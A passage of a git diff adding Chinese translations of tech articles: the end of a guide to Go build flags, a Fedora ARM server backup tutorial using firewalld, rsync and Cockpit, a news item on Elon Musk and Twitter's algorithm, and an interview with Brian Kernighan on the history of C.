+nDueg0kBjIygx25rYwbK/W-eJaGIOdPEWgwC6o546 \ +/K26hEYzgDkqJjx2Hf-wz -extld=gcc /root/.cache/go-build /cc \ +/cc72cb2f4fbb61229885fc434995964a7a4d6e10692a23cc0ada6707c5d3435b-d +/usr/lib/golang/pkg/tool/linux_amd64/buildid -w $WORK \ +/b001/exe/a.out # internal +mv $WORK/b001/exe/a.out hello +rm -r $WORK/b001/ +``` + +这有助于解决在程序运行后却在当前目录下没有生成可执行文件的谜团。使用 `-x` 显示可执行文件确实在 `/tmp` 工作目录下创建并被执行了。然而,与 `build` 命令不同的是,可执行文件并没有移动到当前目录,这使得看起来没有可执行文件被创建。 + +``` +$ go run -x hello.go + + +mkdir -p $WORK/b001/exe/ +cd . +/usr/lib/golang/pkg/tool/linux_amd64/link -o $WORK/b001 \ +/exe/hello -importcfg $WORK/b001/importcfg.link -s -w -buildmode=exe -buildid=hK3wnAP20DapUDeuvAAS/E_TzkbzwXz6tM5dEC8Mx \ +/7HYBzuaDGVdaZwSMEWAa/hK3wnAP20DapUDeuvAAS -extld=gcc \ +/root/.cache/go-build/75/ \ +7531fcf5e48444eed677bfc5cda1276a52b73c62ebac3aa99da3c4094fa57dc3-d +$WORK/b001/exe/hello +Hello World +``` + +### 模仿编译而不产生可执行文件 + +假设你不想编译程序并产生一个实际的二进制文件,但你确实想看到这个过程中的所有步骤。你可以通过使用 `-n` 这个构建选项来做到这一点,该选项会打印出通常的执行步骤,而不会实际创建二进制文件。 + +``` +$ go build -n hello.go +``` + +### 保存临时目录 + +很多工作都发生在 `/tmp` 工作目录中,一旦可执行文件被创建和运行,它就会被删除。但是如果你想看看哪些文件是在编译过程中创建的呢?Go 提供了一个 `-work` 选项,它可以在编译程序时使用。`-work` 选项除了运行程序外,还打印了工作目录的路径,但它并不会在这之后删除工作目录,所以你可以切换到该目录,检查在编译过程中创建的所有文件。 + +``` +$ go run -work hello.go +WORK=/tmp/go-build3209320645 +Hello World + +$ find /tmp/go-build3209320645 +/tmp/go-build3209320645 +/tmp/go-build3209320645/b001 +/tmp/go-build3209320645/b001/importcfg.link +/tmp/go-build3209320645/b001/exe +/tmp/go-build3209320645/b001/exe/hello + +$ /tmp/go-build3209320645/b001/exe/hello +Hello World +``` + +### 其他编译选项 + +如果说,你想手动编译程序,而不是使用 Go 的 `build` 和 `run` 这两个方便的命令,最后得到一个可以直接由你的操作系统(这里指 Linux)运行的可执行文件。那么,你该怎么做呢?这个过程可以分为两部分:编译和链接。你可以使用 `tool` 选项来看看它是如何工作的。 + +首先,使用 `tool compile` 命令产生结果的 `ar` 归档文件,它包含了 `.o` 中间文件。接下来,对这个 `hello.o` 文件执行 `tool link` 命令,产生最终的可执行文件,然后你就可以运行它了。 + +``` +$ go tool compile hello.go + +$ file hello.o +hello.o: current ar archive + +$ ar t hello.o +__.PKGDEF +_go_.o + +$ go tool link -o hello hello.o + +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped + +$ ./hello +Hello World +``` + +如果你想进一步查看基于 `hello.o` 文件产生可执行文件的链接过程,你可以使用 `-v` 选项,它会搜索每个 Go 可执行文件中包含的 `runtime.a` 文件。 + +``` +$ go tool link -v -o hello hello.o +HEADER = -H5 -T0x401000 -R0x1000 +searching for runtime.a in /usr/lib/golang/pkg/linux_amd64/runtime.a +82052 symbols, 18774 reachable + 1 package symbols, 1106 hashed symbols, 77185 non-package symbols, 3760 external symbols +81968 liveness data +``` + +### 交叉编译选项 + +现在我已经解释了 Go 程序的编译过程,接下来,我将演示 Go 如何通过在实际的 `build` 命令之前提供 `GOOS` 和 `GOARCH` 这两个环境变量,来允许你构建针对不同硬件架构和操作系统的可执行文件。 + +这有什么用呢?举个例子,你会发现为 ARM(arch64)架构制作的可执行文件不能在英特尔(x86_64)架构上运行,而且会产生一个 Exec 格式错误。 + +下面的这些选项使得生成跨平台的二进制文件变得小菜一碟: + +``` +$ GOOS=linux GOARCH=arm64 go build hello.go + +$ file ./hello +./hello: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped + +$ ./hello +bash: ./hello: cannot execute binary file: Exec format error + +$ uname -m +x86_64 +``` + +你可以阅读我之前的博文,以更多了解我在 [使用 Go 进行交叉编译][3] 方面的经验。 + +### 查看底层汇编指令 + +源代码并不会直接转换为可执行文件,尽管它生成了一种中间汇编格式,然后最终被组装为可执行文件。在 Go 中,这被映射为一种中间汇编格式,而不是底层硬件汇编指令。 + +要查看这个中间汇编格式,请在使用 `build` 命令时,提供 `-gcflags` 选项,后面跟着 `-S`。这个命令将会显示使用到的汇编指令: + +``` +$ go build -gcflags="-S" hello.go +# command-line-arguments +"".main STEXT size=138 args=0x0 locals=0x58 funcid=0x0 + 0x0000 00000 (/test/hello.go:5) TEXT "".main(SB), ABIInternal, $88-0 + 0x0000 00000 (/test/hello.go:5) MOVQ (TLS), CX + 0x0009 00009 (/test/hello.go:5) CMPQ SP, 16(CX) + 0x000d 00013 (/test/hello.go:5) PCDATA $0, $-2 + 0x000d 00013 (/test/hello.go:5) JLS 128 + +<< snip >> +``` + +你也可以使用 `objdump -s` 选项,来查看已经编译好的可执行程序的汇编指令,就像下面这样: + +``` +$ ls +hello hello.go + +$ go tool objdump -s main.main hello +TEXT main.main(SB) /test/hello.go + hello.go:5 0x4975a0 64488b0c25f8ffffff MOVQ FS:0xfffffff8, CX + hello.go:5 0x4975a9 483b6110 CMPQ 0x10(CX), SP + hello.go:5 0x4975ad 7671 JBE 0x497620 + hello.go:5 0x4975af 4883ec58 SUBQ $0x58, SP + hello.go:6 0x4975d8 4889442448 MOVQ AX, 0x48(SP) + +<< snip >> +``` + +### 分离二进制文件以减少其大小 + +Go 的二进制文件通常比较大。例如, 一个简单的 “Hello World” 程序将会产生一个 1.9M 大小的二进制文件。 + +``` +$ go build hello.go +$ +$ du -sh hello +1.9M    hello +$ +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped +$ +``` + +为了减少生成的二进制文件的大小,你可以分离执行过程中不需要的信息。使用 `-ldflags` 和 `-s -w` 选项可以使生成的二进制文件略微变小为 1.3M。 + +``` +$ go build -ldflags="-s -w" hello.go +$ +$ du -sh hello +1.3M    hello +$ +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped +$ +``` + +### 总结 + +我希望这篇文章向你介绍了一些方便的 Go 编译选项,同时帮助了你更好地理解 Go 编译过程。关于构建过程的其他信息和其他有趣的选项,请参考 Go 命令帮助: + +``` +$ go help build +``` + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/go-build-options + +作者:[Gaurav Kamathe][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/build_structure_tech_program_code_construction.png +[2]: https://go.dev/doc/install +[3]: https://opensource.com/article/21/1/go-cross-compiling diff --git a/published/202204/20220415 3-2-1 Backup plan with Fedora ARM server.md b/published/202204/20220415 3-2-1 Backup plan with Fedora ARM server.md new file mode 100644 index 0000000000..706505a23e --- /dev/null +++ b/published/202204/20220415 3-2-1 Backup plan with Fedora ARM server.md @@ -0,0 +1,254 @@ +[#]: subject: "3-2-1 Backup plan with Fedora ARM server" +[#]: via: "https://fedoramagazine.org/3-2-1-backup-plan-with-fedora-arm-server/" +[#]: author: "Hanku Lee https://fedoramagazine.org/author/hankuoffroad/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14519-1.html" + +使用 Fedora ARM 服务器来做 3-2-1 备份计划 +====== + +![][1] + +Fedora 服务器版操作系统可以运行在类似树莓派的单板计算机(SBC)上。这篇文章针对的用户是想要充分利用实体服务器系统,并使用类似 Cockpit 的内置工具进行数据备份和个人数据的恢复。这里描述了备份的 3 个阶段。 + +### 必要的准备 + +想要使用本指南,你所需要的是一个运行着的 Fedora Linux 工作站和以下的项目: + + * 你应该阅读、理解和实践 Fedora 文档中 [服务器安装][4] 和 [管理][5] 的要求 + * 一块用来测试 Fedora Linux 的 SBC(单板计算机)。在这里查看 [硬件需求][6] + * [Fedora ARM][7] [服务器][7] 原始镜像 & ARM 镜像安装器 + * SD 存储卡(64 GB / Class 10)和 SSD 设备两选一 + * 以太网 / DHCP 预留 IP 地址或者静态 IP 地址 + * 提供了 ssh 密钥的 Linux 客户端工作站 + * 选择云存储服务 + * 有额外可用的 Linux 工作站 + +对于这套环境,在写这篇文章的时候,由于成本和可用性的原因,我选择树莓派 3B+/4B+ (其中一个用来热切换)。当使用 Cockpit 远程连接树莓派服务器时,你可以将树莓派放到路由器附近以便设置。 + +### 加强服务器的安全 + +在 SBC 完成服务器的安装和管理后,用 firewalld 加强服务器的安全是一个好的做法。 + +连接存储设备到服务器之前,一旦服务器在线你必须设置好防火墙。firewalld 是基于区域的防火墙。在依照 Fedora 文档完成安装和管理指南之后,创建一个名为 `FedoraServer` 的预定义区域。 + +#### firewalld 里的富规则 + +富规则rich rule用来阻止或者允许一个特定的 IP 地址或者地址段。下面这条规则只从(客户端工作站)注册的 IP 地址接受 SSH 连接,并断开其它的连接。在 Cockpit 终端或者客户端工作站终端运行命令是通过 ssh 来连接到服务器的。 + +``` +firewall-cmd --add-rich-rule='rule family=ipv4 source address=/24 service name=ssh log prefix="SSH Logs" level="notice" accept' +``` + +#### 拒绝所有主机的 ping 请求 + +使用这个命令来设置 icmp 拒绝,并且不允许 ping 请求: + +``` +firewall-cmd --add-rich-rule='rule protocol value=icmp reject' +``` + +要进行其它防火墙控制,比如管理端口和区域,请查阅以下链接。请注意错配防火墙可能会使安全出现漏洞受到攻击。 + +> **[在 Cockpit 中管理防火墙][8]** + +> **[firewalld 规则][9]** + +### 配置文件服务器的存储 + +下一步是连接存储设备到 SBC,然后使用 Cockpit 对新插入的存储设备进行分区。使用 Cockpit 的图形化服务器管理界面,管理一个家庭实验室(可以是一个或者多个服务器)比之前更加简单。Fedora Linux 服务器标准提供了 Cockpit。 + +在这个阶段,一个通过 SBC 的 USB 插口接电的 SSD 设备无需额外电源供给就可以工作。 + + * 将存储设备连接到 SBC 的 USB 接口 + * 运行之后(按上面的“必要的准备”所设置的那样),然后在你的客户端工作站浏览器上访问 **机器的 IP 地址:9090** + * 登录进 Cockpit 之后,点击 Cockpit 页面顶部的“打开管理访问权限Turn on administrative access” + * 点击左边面板的 “存储Storage” 按钮 + * 选择下面显示的 “驱动器Drives”,然后分区并格式化一个空白的存储设备 + ![Cockpit Storage management][10] + * 在选定的存储设备这个界面上,创建一个新的分区表或者格式化并创建新的分区。当初始化磁盘的时候,在 “Partitioning分区” 类型选项上,选择 “GPT 分区表” + * 选择一个文件系统类型,这里选择 “EXT4” 。这对于一个限制 I/O 能力(比如 USB 2.0 接口)和限制带宽(小于 200MB/s)的设备是适合的 + ![Create a partition in Cockpit][11] + * 要在设备上创建单个占据整个存储空间的分区,指定它的挂载点,比如 `/media` 然后点击 “确定Ok” 。 + * 点击 “Create partition创建分区”,创建一个挂载点为 `/media` 的新分区。 + +### 创建备份和恢复备份 + +备份很少是一刀切的。这里有一些选择比如数据备份在哪里,备份数据的步骤,验证一些自动化,并确定怎样来恢复备份了的数据。 + +![Backup workflow – version 1.0][12] + +#### 备份 1. 用 rsync 从客户端远程同步到文件服务器(树莓派) + +这个传输用到的命令是: + +``` +rsync -azP ~/source syncuser@host1:/destination +``` + +参数: +- `-a`/`--archive`:归档 +- `-z`/`--compress`:压缩 +- `-P`/`--progress`:显示进度 + +要使用更多的选项运行 `rsync`,可以设置以下的选项: + +- `--inplace`:直接替换来更新目标文档 +- `--append`:追加数据到较短的文档中 + +在将文档备份到存储空间之前,源端文档的文件重复消除和压缩是减少备份数据容量最有效的方式。 + +每天工作结束,我会手动运行这个。一旦我设置了云备份工作流,自动化脚本是一个优势。 + +关于 `rsync` 的详细信息,请在 [这里][13] 访问 Fedora 杂志的文章。 + +#### 备份 2. 使用 rysnc 从文件服务器远程同步到主要的云存储上 + +选择云存储是考虑的因素; + + * 成本:上传、存储空间和下载费用 + * 支持 `rsync`、`sftp` + * 数据冗余(RAID 10 或者运行中的数据中心冗余计划) + * 快照 + +符合这些云存储标准之一的就是 Hetzner 托管的 Nextcloud– [存储盒子][14]。你不会受到供应商限制,可以自由切换而没有退出惩罚。 + +##### 在文件服务器上生成 SSH 密钥并创建授权密钥文件 + +使用 `ssh-keygen` 命令为文件服务器和云存储生成一对新的 SSH 密钥对。 + +``` +ssh-keygen +Generating public/private rsa key pair. +Enter file in which to save the key . . . +``` + +插入要求的 SSH 公钥到新的本地授权密钥文件中。 + +``` +cat .ssh/id_rsa.pub >> storagebox_authorized_keys +``` + +##### 传输密钥文件到云存储 + +下一步就是上传生成了的授权密钥文件到存储盒子。要做这些,先用 700 权限创建 `.ssh` 目录,然后用 SSH 公钥创建授权文件并赋予 600 权限。运行以下命令。 + +``` +echo -e "mkdir .ssh \n chmod 700 .ssh \n put storagebox_authorized_keys .ssh/authorized_keys \n chmod 600 .ssh/authorized_keys" | sftp @.your-storagebox.de +``` + +##### 通过 ssh 使用 rsync + +使用 `rsync` 同步你的文件目录当前状态到存储盒子。 + +``` +rsync --progress -e 'ssh -p23' --recursive @.your-storagebox.de: +``` + +这个过程被叫做推送操作,因为它 “推送” 本地系统的一个目录到一个远程的系统中去。 + +##### 从云存储中恢复目录 + +要从存储盒子恢复目录,转换到这个目录: + +``` +rsync --progress -e 'ssh -p23' --recursive @.your-storagebox.de: +``` + +#### 备份 3. 客户端备份到第二个云储存 + +[Deja Dup][15] 是 Fedora 软件仓库中为 Fedora 工作站提供快速备份解决方案的工具。它拥有 GPG 加密、计划任务、文件包含(哪个目录要备份)等功能。 + +![Backing up to the secondary cloud][16] + +![Restoring files from cloud storage][17] + +### 归档个人数据 + +不是所有数据都需要 3-2-1 备份策略。这就是个人数据共享。我将一台拥有 1TB 硬盘的笔记本作为我个人数据的档案(家庭照片)。 + +转到设置中的 “共享Sharing” (在我的例子中是 GNOME 文件管理器)并切换滑块以启用共享。 + +![][18] + +打开 “文件共享file sharing”,“网络Networks” 和 “需要的密码Required password”,允许你使用 WebDAV 协议在你的本地网络上分享你的公共文件夹给其它的工作站。 + +![][19] + +### 准备回滚选项 + +未测试的备份并不比完全没有备份好。我在家庭实验室环境中使用 “热切换” 方法来避免像频繁的断电或者液体损坏的情况发生。然而,我的建议方案远没有达到灾难恢复计划或企业 IT 中的自动故障修复。 + + * 定期运行文件恢复操作 + * 备份 ssh/GPG 密钥到一个额外的存储设备中 + * 复制一个 Fedora ARM 服务器的原始镜像到一个 SD 卡中 + * 在主云存储中保持全备份的快照 + * 自动化备份过程最小化减少人为错误或者疏忽 + +### 使用 Cockpit 追踪活动并解决问题 + +当你的项目在成长时,你所管理的服务器数量也在增长。在 Cockpit 中追踪活动和警告可以减轻你的管理负担。你可以使用 Cockpit 的图形化界面的三种方法来归档这些。 + +#### SELinux 菜单 + +怎样诊断网络问题,找到日志并在 Cockpit 中解决问题: + + * 去 SELinux 中检查日志 + * 检查“解决方案详细信息solution details” + * 当必要时,选择 “应用这个方案Apply this solution” + * 如果必要,查看自动化脚本并运行它 + +![SELinux logs][20] + +#### 网络或者存储日志 + +服务器日志会跟踪 CPU 负载、内存使用、网络活动、存储性能和系统日志关联的详细指标。日志会组织在网络面板或者存储面板里显示。 + +![Storage logs in Cockpit][21] + +#### 软件更新 + +在预设的时间和频率下,Cockpit 可以帮助进行安全更新。当你需要时,你可以运行所有的更新。 + +![Software updates][22] + +恭喜你在 Fedora ARM 服务器版本上搭建了一个文件/备份服务器。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/3-2-1-backup-plan-with-fedora-arm-server/ + +作者:[Hanku Lee][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/hankuoffroad/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/04/3-2-1_backup-816x345.jpg +[2]: https://unsplash.com/@markuswinkler?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/computer-backup?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://docs.fedoraproject.org/en-US/fedora-server/server-installation-sbc/ +[5]: https://docs.fedoraproject.org/en-US/fedora-server/sysadmin-postinstall/ +[6]: https://docs.fedoraproject.org/en-US/quick-docs/raspberry-pi/ +[7]: https://arm.fedoraproject.org/ +[8]: https://fedoramagazine.org/managing-network-interfaces-and-firewalld-in-cockpit/ +[9]: https://www.redhat.com/sysadmin/firewalld-rules-and-scenarios +[10]: https://fedoramagazine.org/wp-content/uploads/2022/03/Screenshot-from-2022-03-29-22-05-00b-1024x576.png +[11]: https://fedoramagazine.org/wp-content/uploads/2022/03/Screenshot-from-2022-03-29-22-03-36a.png +[12]: https://fedoramagazine.org/wp-content/uploads/2022/04/Backups3-1-1024x525.jpg +[13]: https://fedoramagazine.org/copying-large-files-with-rsync-and-some-misconceptions/ +[14]: https://docs.hetzner.com/robot/storage-box/ +[15]: https://fedoramagazine.org/easy-backups-with-deja-dup/ +[16]: https://fedoramagazine.org/wp-content/uploads/2022/03/Screenshot-from-2022-03-29-22-47-30.png +[17]: https://fedoramagazine.org/wp-content/uploads/2022/03/Screenshot-from-2022-03-29-22-41-57.png +[18]: https://fedoramagazine.org/wp-content/uploads/2022/04/Screenshot-from-2022-04-14-20-48-49-1024x733.png +[19]: https://fedoramagazine.org/wp-content/uploads/2022/04/Screenshot-from-2022-04-14-20-51-18st.png +[20]: https://fedoramagazine.org/wp-content/uploads/2022/04/Screenshot-from-2022-04-02-11-24-30b-1024x441.png +[21]: https://fedoramagazine.org/wp-content/uploads/2022/04/Screenshot-from-2022-04-04-21-47-06SL-1024x259.png +[22]: https://fedoramagazine.org/wp-content/uploads/2022/04/Screenshot-from-2022-04-04-21-35-42b.png diff --git a/published/202204/20220415 Elon Musk Believes Twitter Algorithm Should Be Open-Source.md b/published/202204/20220415 Elon Musk Believes Twitter Algorithm Should Be Open-Source.md new file mode 100644 index 0000000000..68142562e4 --- /dev/null +++ b/published/202204/20220415 Elon Musk Believes Twitter Algorithm Should Be Open-Source.md @@ -0,0 +1,69 @@ +[#]: subject: "Elon Musk Believes Twitter Algorithm Should Be Open-Source" +[#]: via: "https://news.itsfoss.com/elon-musk-twitter-open-source/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14491-1.html" + +埃隆·马斯克认为推特的算法应该开源 +====== + +> 埃隆·马斯克希望推特开源他们的算法。这会促进言论自由吗?以下是他的说法。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/04/elon-musk-twitter-algorithm-opensource.jpg) + +没错,埃隆·马斯克又搞了一个大新闻,这已经算是他的日常操作了。 + +然而,这一次的新闻非常有趣。他提出了要以大约 **430 亿美元** 收购推特。 + +从技术上讲,他的报价远远超过了市场价格,这也就是为什么许多媒体称他这是在试图“恶意收购”。 + +考虑到这个激进的报价,我们还不确定这次收购是否会成功。不过,在一次 TED 演讲中,埃隆·马斯克还分享了他对于推特应该如何推动言论自由的一些想法。 + +### 推特的算法应该开源 + +埃隆·马斯克认为,推特应该将算法开源,以促进平台的透明度。 + +当然,推特作为一个平台,目前仍在爆炸式发展,很难预测。推特团队在某些事情上也会采取果断行动,不管用户认为它是否正确。 + +虽然推特的内部决定在纸面上看起来很好,但这种没有透明度的大规模平台总是会存在问题的。 + +因此,埃隆·马斯克有一个观点:无论你是否认同或相信推特的决定,透明/开源只会有助于加强现有的价值观。 + +嗯,难怪我们喜欢开源。 + +这里引用他的原话: + +> “因此,我认为推特应该做的事情之一就是开源它的算法,所有推文的修改都应该是透明的,任何人都可以看到这个修改,哪怕是加粗一段文字或是取消加粗它。这样一来,幕后操纵将不复存在,无论是算法还是人工。” + +另一方面,当我们把推特当作一个某种程度上的开源平台来谈论时,我不由自主地想到了 [Mastodon][7]。你也可以在 [Mastodon][8] 上找到我们,如果你还没有用过它的话。 + +诚然,推特有很大的增长潜力,无论好坏,它都在不断扩张。但是,开源理念能否帮助这个平台?我个人认为可以,但这是一个巨大的变革,不能指望一夜之间就能实现。 + +当然,即使埃隆·马斯克成功地收购了推特,也没有人能够预测他会对推特做什么。说实话,他就像任何复杂算法一样不可预测。 + +那么,你是如何看待这个新闻的呢?你相信埃隆·马斯克说的话吗?欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/elon-musk-twitter-open-source/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://twitter.com/elonmusk?ref_src=twsrc%5Etfw +[2]: https://twitter.com/hashtag/TED2022?src=hash&ref_src=twsrc%5Etfw +[3]: https://twitter.com/TEDchris?ref_src=twsrc%5Etfw +[4]: https://twitter.com/YouTube?ref_src=twsrc%5Etfw +[5]: https://t.co/Okm3y5HpEy +[6]: https://twitter.com/TEDTalks/status/1514739086908555272?ref_src=twsrc%5Etfw +[7]: https://joinmastodon.org/ +[8]: https://mastodon.social/@itsfoss diff --git a/published/202204/20220415 How the C programming language has grown.md b/published/202204/20220415 How the C programming language has grown.md new file mode 100644 index 0000000000..c0f37af0b6 --- /dev/null +++ b/published/202204/20220415 How the C programming language has grown.md @@ -0,0 +1,89 @@ +[#]: subject: "How the C programming language has grown" +[#]: via: "https://opensource.com/article/22/3/how-c-programming-language-has-grown" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14508-1.html" + +C 语言发展简史 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/25/121408ra3c5cpgjogtcdxl.jpg) + +> 下面是我对 布莱恩·克尼汉Brian Kernighan 的采访,他(与 丹尼斯·里奇Dennis Ritchie)是《C 程序设计语言The C Programming Language》一书的共同作者,我们谈及了 C 语言及其 50 年的历史。 + +![两位作者写的最初的 C 语言编程指南,大约是在 1978 年][1] + +C 语言将在 2022 年满 50 岁。然而,尽管它历史悠久,在许多“流行编程语言”的调查中,C 语言仍然是“最常用”的编程语言之一。例如,你可以看看 [TIOBE 指数][2],它追踪不同编程语言的流行程度。许多 Linux 应用程序是用 C 语言编写的,例如 GNOME 桌面。 + +我采访了 [布莱恩·克尼汉][3]Brian Kernighan,以了解更多关于 C 语言及其历史他(与 丹尼斯·里奇Dennis Ritchie)是《C 程序设计语言The C Programming Language》一书的共同作者。 + +### C 语言是怎么诞生的呢? + +C 语言由一系列旨在进行系统编程的语言演变而来,系统编程就是编写像编译器、汇编器、编辑器以及最终的操作系统这样的程序。麻省理工学院有一个与贝尔实验室合作的 Multics 项目,它计划用一种高级语言编写系统的所有部分(这在 1965 年那时候是一个新想法)。他们打算使用 IBM 的 PL/1,但它非常复杂,而且承诺的编译器也没有及时交付。 + +在与一个叫做 EPL 的子集(由贝尔实验室的道格拉斯·麦克罗伊Douglas McIlroy 设计)进行了短暂交流后,Multics 转向了 BCPL,这是一个由剑桥的 Martin Richards 设计和实现的,更加简单和干净的语言,我记得他当时正在麻省理工学院访问。当 肯·汤普逊Ken Thompson 开始研究后来的 Unix 时,他在 BCPL 的基础上创造了一种更简单的语言,他称之为 B 语言。在 1969 年,他为搭载了第一个 Unix 原型系统的 PDP-7 计算机实现了这种语言。 + +BCPL 和 B 都是“无类型”语言。也就是说,它们只有一种数据类型,即整数。DEC 公司的 PDP-11 计算机大约在 1971 年投入使用,它搭载了第一个真正的 Unix 系统。PDP-11 支持几种数据类型,特别是 8 位字节和 16 位整数。因此,一种同样支持几种数据类型的语言是更好的选择。这就是 C 语言的起源。 + +### C 语言在贝尔实验室和早期版本的 Unix 中是如何使用的呢? + +C 语言最初只在 Unix 上使用,尽管过了一段时间,也有了用于其他机器和操作系统的 C 语言编译器。大多数情况下,它被用于系统级的编程,涵盖了相当多有趣的领域,还有很多用于管理 AT&T 电话网络运营的系统。 + +### 在贝尔实验室用 C 语言编写的最有趣的项目是什么? + +可以说,最有趣、最令人难忘、也是最重要的 C 语言程序就是 Unix 操作系统本身。1971 年 Unix 的第一个版本是用 PDP-11 汇编语言编写的,但到了第四版,也就是 1973 年左右,我们用 C 语言重写了它。这很关键,因为这意味着操作系统(和它所有的支持软件)基本上可以通过重新编译来移植到不同类型的计算机上。虽然在实践中并没有那么简单,但也相差不远。 + +### 你与丹尼斯·里奇合著了《C 程序设计语言》一书。那本书是怎么来的,你和丹尼斯又是如何在书中合作的呢? + +我曾经写过一本肯·汤普逊的 B 语言教程,帮助人们快速上手使用它。当 C 语言可用时,我将其升级为 C 语言的教程。过了一段时间,我说服了丹尼斯,让他和我一起写一本 C 语言的书。基本上,除了系统调用那章外,大部分的教程材料都是我写的,而丹尼斯已经写好了那个参考手册,写的非常棒。然后我们反复修改,使教程部分更加流畅。参考手册几乎保持不变,因为它从一开始就写得很好。这本书的格式是用 *troff* 格式器格式的,这是 Unix 上的许多工具之一,我做了大部分的格式化工作。 + +### C 语言什么时候成为了贝尔实验室以外的其他程序员用于工作的东西呢? + +我真的记不大清了,但我认为大概是在最初的五六年里,C 语言主要是跟着 Unix 一起发展的。随着其他操作系统上的编译器的发展,它开始蔓延到 Unix 以外的其他系统。我不记得我们是什么时候意识到 C 和 Unix 产生了真正的影响,但应该是在 20 世纪 70 年代中后期。 + +### 为什么 C 语言会成为如此有影响力的编程语言呢? + +早期的主要原因是它与 Unix 的联系,Unix 在世界上迅速传播。如果你使用 Unix,你就会用 C 语言来编程。后来,C 语言传播到不一定运行 Unix 的计算机上,很大程度上是因为 Steve Johnson 编写了可移植 C 语言编译器。在工作站领域,比如 昇阳微系统Sun Microsystems、MIPS(后来成为 SGI)和其他公司,它们都是因为 Unix 和 C 语言的结合而获得成功。IBM PC 出现得稍晚一些,大约在 1982 年。后来 C 语言成为 MS-DOS 和 Windows 下的标准编程语言之一。今天,大多数物联网(IoT)设备会使用 C 语言。 + +### 在创建约 50 年后的今天,C 仍然是一种流行的编程语言。为什么它仍然如此受欢迎呢? + +我认为 C 语言在效率和表现力这两个方面达到了一个平衡点。在早期,效率真的很重要,因为与我们今天所使用的计算机相比,当时的计算机速度很慢、内存十分有限。C 语言是非常高效的,因为它可以被编译成高效的机器代码,而且它也足够简单,人们很容易学会如何编译它。同时,它还具有很强的表现力,易于编写,并且结构紧凑。至少在我谦虚而正确的观点中,没有任何一种语言能很好地达到这种境界。 + +### 多年来,C 语言的发展和变化如何? + +我想,C 语言的发展是适度的,但我并没有太注意 C 语言标准的发展。C 语言已经有足够的改变了,80 年代写的代码需要做一些前置工作才能编译,但这主要与诚实对待类型有关。比较新的功能,如复数,也许是有用的,但对我来说不是,所以我不能做出明智的评论。 + +### 哪些编程问题可以用C语言最容易解决? + +嗯,对于任何事情来说,它都是一种很好的语言,但在今天,有了充足的内存和处理能力,大多数程序员都可以用 Python 这样的语言来进行内存管理和处理其他更高级的结构。C 语言仍然是底层编程的一个很好的选择,因为对于底层编程来说,充分利用 CPU 周期和每一个字节仍然很重要。 + +### C 语言影响了其他编程语言,包括 C++、Java、Go 和 Rust。你对这些编程语言有什么看法? + +几乎每一种语言在某些方面都是对其前辈的反应。简单点说,C++ 增加了控制信息访问的机制,所以对于真正的大型程序来说,它比 C 更好。[Java][4] 是对 C++ 的复杂性的一种反应。Go 是对 C++ 的复杂性和 [Java][4] 的限制的一种反应。[Rust][5] 是对 C 语言(大概也是对 C++)中内存管理问题的一种尝试,同时它接近了 C 语言的效率。 + +它们都带来了某些积极的特性,但不知何故,没有人能够完全满意,所以总是会有更多的语言,反过来对以前的语言做出反应。同时,老的语言,在大多数情况下,仍会继续存在,因为它们的工作做得很好,而且有一个嵌入式的根据地,老的语言在里面可以完美使用,而用新的东西来重新实现是不可行的。 + +感谢 Brian 为我们分享了 C 语言编程的伟大历史! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/3/how-c-programming-language-has-grown + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/uploads/2482009942_6caea217e0_c.jpg +[2]: https://www.tiobe.com/tiobe-index/ +[3]: https://opensource.com/article/22/1/interview-brian-kernighan +[4]: https://opensource.com/tags/java +[5]: https://opensource.com/tags/rust +[6]: https://opensource.com/article/22/1/c-programming diff --git a/published/202204/20220415 How to Upgrade to Ubuntu 22.04 -Jammy Jellyfish- From Ubuntu 20.04 LTS.md b/published/202204/20220415 How to Upgrade to Ubuntu 22.04 -Jammy Jellyfish- 